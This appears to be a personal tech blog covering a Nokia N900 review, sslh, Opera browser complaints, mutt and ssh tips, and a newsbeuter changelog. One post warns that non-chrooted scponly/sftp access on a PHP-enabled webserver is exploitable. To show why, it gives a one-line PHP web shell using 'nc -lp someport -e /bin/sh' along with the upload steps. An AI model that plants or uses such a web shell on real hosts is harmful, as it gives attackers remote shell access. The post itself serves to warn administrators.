nion's blog

Two weeks ago I got myself a nokia n900 phone which is running maemo 5. So far I am quite happy with it, given that my previous phone was a sony erricsson p1i which is pretty crappy.
I've taken some notes about my experiences:

• under normal use the battery lasts for ~ 2 days, if I'm using 3G the whole day I need to recharge it daily though


• the terminal has a bug which results in the enter key not working under some conditions, ctrl-m works as a workaround though


• playing normal dvdrips in mplayer is absolutely no problem without downscaling, 720p doesn't perform though


• I somehow managed that my screen flipped and I wasn't able to flip it back, only a reboot solved that


• It is not clear to me which tools you will find in the list of installable packages and which are only visible with apt-cache search. I also managed to end up with a doubled launch icon in my application list for some application


• the termininal is not usable anymore after an ncurses program crashed, "reset" doesnt help either


• wireless uses less battery than umts, way less


• the back button in the browser is per default opening a fancy eyecandy browse history which is slow, so I mostly use backspace to browse back


• there is lots of useful tools in the extras-devel repository, e.g. I can control my mpd via mmpc from the phone which is great



• importing contacts works flawlessly, also merging existing contacts works as expected


• jabber (including xmpp calls) are integrated in the contacts information (you can merge a jabber uid into an existing contact)


• i've no idea yet what the internal video player is, but i wasn't able to play a non downscaled XviD file with it, mplayer does play it fine


• freely placeable widgets are awesome


• it's is really userfriendly and no geeky linux user phone


• i would prefer not having busybox per default, i can install bash but the libc is still from busybox which implies world readable password hashes in /etc/passwd, so no other user accounts on my mobile


• is there disk encryption available?


• n900fly can't cause any good


• gps with nokia maps is ok and I find it pretty usable even if a google maps client would be nice as well


• the mp3 mplayer sucks unless you have tagged your music properly, you can't just play some folder without having a playlist for it


• mplayer as an alternative from the console is no real alternative either, if you don't redirect its output to /dev/null it gets stuck in a loop when the display blanks,


• app manager locks dpkg lock even if you just list available programs, no idea why this is needed and no idea how aptitude and synaptic are doing this


• is there a good todo manager which comes with a widget listing todos?


• is it possible to install armel debian packages without having a debian chroot?


• sms are nicely organized per contact in an instant messaging fashion


• the builtin accelerator works nice and you can automatically flip the screen when you want to dial a number, sometimes happens by accident though


• the multiuser support works awesome and you get a nice overview of open applications in a composé fashion, it may be wise to have not 40 applications open though


• the list of processes is already huge (like 160 processes running in the background)


• i haven't checked out the sdk yet but I will do that soon as I need e.g. newsbeuter for RSS


• hardware feels robust, arm cortex a8 is imho a very good processor, RAM could be more (the phone is heavily swapping)


• you can not yet use the phone as a wireless access point without building your own kernel images, some people seem to be working on this


• you can manipulate all kinds of stuff through the sysfs, including the phone led and the vibration


• wireless certificates are sometimes shown to be invalid but there there is no details button, you can click only "done"

Those are the things I came up with while using the phone. The calling functionality and everything which is only phone related really works fine and the sound quality while talking to someone on the phone is also really good. So far I am really happy with the phone and I can only recommend it. I hope I'll have some time to port some applications to maemo soon.

A lot of people used to configure their ssh servers to listen to a port different from 22 to prevent their logs getting filled with login attempts by script kiddies. I just stumbled over sslh which is a very nice alternative to that in case you have a webserver running which supports ssl. sslh is also a good choice if you are behind a corporate firewall and ssh is filtered while SSL is probably not (and this is simpler than tunneling).

The idea is pretty simple but cool. The daemon listens on port 443 and depending on whether the client has written something into the socket (SSL) or not (SSH) after connecting the daemon "forwards" the connection to the listening service running on the same host. In case of SSL/HTTPS the client will send a request after the handshake and in case of ssh it won't. Pretty simple. I just did a quick test on one of my hosts and it seems to work great. The tool is written in C, consists of < 500 SLOC and the code looks clean to me. If you're using Debian you can just apt-get install it.

While I am not a fan of scponly/sftp-server (openssh) many people are still using it to give users the possibility to up/download files from the host without the need to provide them with shell access. If you do a simple setup like http://www.debian-administration.org/articles/94 or configure scponly without using a chrooted environment and you do this on host that also has a standard webserver setup (apache serving per-user home directories and php) you already lost.

The user won't be able to login with the username you gave him but he can remotely login via your webserver now. All that needs to be done is:

• Connect to the host using sftp


• $ mkdir public_html


• $ cd public_html; put index.php; chmod 644 index.php


• point your browser to http://host/~user/


• connect netcat to host:someport

index.php would just contain something like <? system("nc -lp someport -e /bin/sh"); ?> and you end up with a shell as www-data (on Debian).

It's pretty easy to make errors or miss important things in such a setup and I think it's almost always a better solution to either trust people and give them access via ssh or give them no access at all.

I just tried the new 10 beta version of opera and I have to say it feels shitty (or at least not better than older releases).
One of the new features that was announced by the opera people is a configurable speeddial. There are 3 new things I noticed. The first thing is a configuration dialog which allows you to change the number of speed dials:


While some people might find this nice it somehow sucks as the values are predefined and there is a much more flexible way of configuring that (~/.opera/speeddial.ini):

With 10 beta you can also hide the speeddial. This is really neat as this wasn't possible before from what I know and some people seem to don't like it.
The dialog also allows you to set a background image to your speeddial. WTF, this is a browser, not my desktop

Another new feature I noticed is the possibility to expand the tab listing and pull it down so they show up with included screenshots.

There is no shortcut to open/close this but you have to do this with the mouse + I think this is really annoying while browsing, it's just too big and doesn't add much information while it's open if you don't intend to change the tab.

The most positive impression is that this version finally scores 100% in the acid 3 test!

One new feature left that really bugs me: Opera Turbo (F12). With this enabled opera behaves like opera-mini meaning you are sending every HTTP request to an opera server, get it back compressed and you render the compressed version. This should be useful for people with low bandwidths. I have no idea if this is more effective than just switching of images or other parts of the content but this is really a security/privacy no-go. For mobile devices it might makes sense as the bandwidth is almost always limited (though there is a lot of change in progress) but for desktop end user browser!? At least there should be a big fat privacy notice pinned to this option and naming it Opera Proxy instead of Turbo would also be very nice!

UPDATE: another thing came to my mind, what about censorship in countries? Does the opera compression server enforce laws from countries? If not Turbo is at least a nice and end-user friendly way to avoid censorship in the www.

There are a lot of discussions out there whether functions like strcpy are dangerous and shouldn't be used in C programs.
But Heise security made my day:

The problem is caused by the use of the unsafe C function printf in crypto_recv in ntpd/ntp_crypto.c.

Beware of the evil printf!

Im rather disappointed by the overall quality of the heise security news anyway but of course they seem to have misread the original advisory and the bug report. They mean sprintf

EDIT: they fixed it

Using mutt I organise my mails as threads in the index view.
This way I often have the problem that I miss a reply to a very old thread because I always jump to the end of my mails to see the new ones instead of cycling through them with tab.
I just stumbled over a way to solve that. There is sort_aux. This variable controls how threads are sorted in
relation to other threads and how branches in a threads are organised. The default is date and this value accepts anything sort accepts except for the value thread (obviously).

Fortunately there is set sort_aux=last-date-received which does exactly solve my problem. By specifying this a thread that receives a new message is automatically
moved to the end of the index and becomes the last one displayed. No way to overlook mails this way.

Maybe some people suffer of the same problem..

Yay, newsbeuter 2.0 was just released! I am way too lazy to summarize all the new features and bugfixes, It's just to many of them. Here is the changelog:

Added more flexible dialog handling
Improved position handling in article list (fixes #112; thanks to Isaac Good)
Fixed a lot of bugs (#102, #111, #117, #130, #131).
Added ability to specify a list of OPML URLs when using OPML as URL source.
Added config option "keep-articles-days" to optionally keep articles only for a limited number of days.
Added config option "bookmark-interactive" to indicate that the configured bookmarking command is interactive.
Don't display authentication information in URLs (fixes #121).
Replaced mrss with new RSS/Atom parser.
Added ability to search for text from the article view.
Added basic support for Yahoo Media RSS.
Made article view pager configurable.
Improved HTML rendering of links and underlined and bold text.
Added ":source" commandline command to (re)load configuration files.
Implemented "pipe-to" key to pipe articles to external commands.
Implemented backtick evaluation for configuration files.
Extended filter language with "between" operator.
Added "age" attribute for articles to filter them for relative age (in days).
Extended "set" commandline command to toggle boolean variables and reset configuration variables of all types to their default.
Added ability to configure local files as feeds.
Added a "random-unread" key to go to a random unread article.
When opening articles from a search result dialog, make search phrase stand out in article view.
Persist commandline and search history.
Implemented commandline completion.
Improved help dialog so that it now shows unbound functions.
Added ability to sort feed list and article list by interactively choosing the sort method.
Improved and extended conditional HTTP download handling.

The full release annoucement by ak is available on: http://newsbeuter.wordpress.com/2009/04/21/newsbeuter-20-released/

Also just uploaded the package to Debian unstable.

... is there any useful software for indexing and fast searching through old mails? (if anyone still reads this blog, no post for quite a while, I keep being busy :/)

I currently archive my mails using archivemail which stores compressed maildirs in a folder labeling them with a date.
So if I need to find an old mail I'm going to guess the date, fire-up mutt -f and use the mutt filter expressions, which feels very sub-optimal.

What would be nice is a piece of software that gives me the filter expressions that mutt provides outside of mutt and uses some kind of index to search on a large set of mails.
Maybe implementing something with xapian would be an option.

What are you using to search your for your Mails (no zgrep is no option to me and so isn't gmail).

ssh is one of the programs I didn't really every read the manpage of (only to lookup stuff which I already knew is possible but forgot how). However there are some nice features you miss if you don't. Besides ControlMaster I just stumbled over another feature.

It is possible to add port forwarding on the fly without the need to open a new terminal and ssh connection.
ssh provides some escape characters to do some stuff in your current connection.
In the default setup the basic escape character is ~ (you can specify this by using EscapeChar in your configuration).

If you follow this by # character (and thus type ~#) you get a list of all forwarded connections.
Using ~C you can open an internal ssh shell that enables you to add and remove local/remote port forwardingsSome other more or less usefull escape sequences, have a look at man 1 ssh -> ESCAPE CHARACTERS

Dear Opera developers...
even I find it hard to believe that your fraud protection is of a real use for anyond (besides the technical implementation: doing an http request for each unvisited site to http://sitecheck2.opera.com/?host=HOST really sucks) it might help some people.

BUT why on earth are you doing this for private ip ranges??? FAIL!

UPDATE: the documentation states that this is not done, however I only recognized this because I saw that it is exactly doing that in a packet dump and I can reproduce this:
192.168.1.212 - - [14/Sep/2008:21:22:09 +0200] "GET http://sitecheck2.opera.com/?host=192.168.1.4&hdn=1jefsNeoBNollcGHqAYxxA== HTTP/1.1" - - "-" "Opera/9.50 (X11; Linux i686; U; en)"

So either urlsnarf is buggy here (which I don't believe as the request should never go through a socket) or opera has a bug.